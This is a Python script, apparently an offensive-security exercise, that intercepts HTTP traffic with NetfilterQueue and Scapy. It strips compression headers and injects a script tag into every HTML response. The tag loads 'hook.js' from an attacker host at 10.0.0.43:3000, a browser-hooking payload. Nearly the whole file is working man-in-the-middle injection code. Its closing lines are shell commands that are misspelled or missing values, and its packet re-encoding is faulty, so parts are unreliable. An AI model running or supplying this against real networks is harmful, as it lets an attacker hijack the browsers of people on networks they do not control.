#!/usr/bin/env python

import re

from netfilterqueue import NetfilterQueue

from scapy.layers.inet import TCP, IP

from scapy.packet import Raw

def set_load(packet, load):

    packet[Raw].load = load

    del packet[IP].len

    del packet[IP].chksum

    del packet[TCP].chksum

    return packet

def process_packet(packet):

    scapy_packet = IP(packet.get_payload())

    # scapy_packet.show()

    if scapy_packet.haslayer(Raw) and scapy_packet.haslayer(TCP):

        load = scapy_packet[Raw].load

        if scapy_packet[TCP].dport == 80:

            print("[+] Request")

            load = re.sub(b"Accept-Encoding:.*?\\r\\n", b"", load)

        elif scapy_packet[TCP].sport == 80:

            print("[+] Response")

            injection_code = b'<script src="http://10.0.0.43:3000/hook.js"></script>'

            load = load.replace(b"</body>", injection_code + b"</body>")

            content_length_search = re.search(b"(?:Content-Length:\s)(\d*)", load)

            if content_length_search and b"text/html" in load:

                print(content_length_search)

                content_length = content_length_search.group(1)

                new_content_length = int(content_length) + len(injection_code)

                load = load.replace(content_length, str(new_content_length).encode())

        if load != scapy_packet[Raw].load:

            print("Payload")

            new_packet = set_load(scapy_packet, load)

            packet.set_payload(str(new_packet).encode())

    packet.accept()

queue = NetfilterQueue()

queue.bind(0, process_packet)

try:

    queue.run()

except KeyboardInterrupt:

    print('')

iptables --flush

iptablse -I FORWARD -j NFQUEUE --queue-num

echo  > /proc/sys/net/ipv4/ip_forward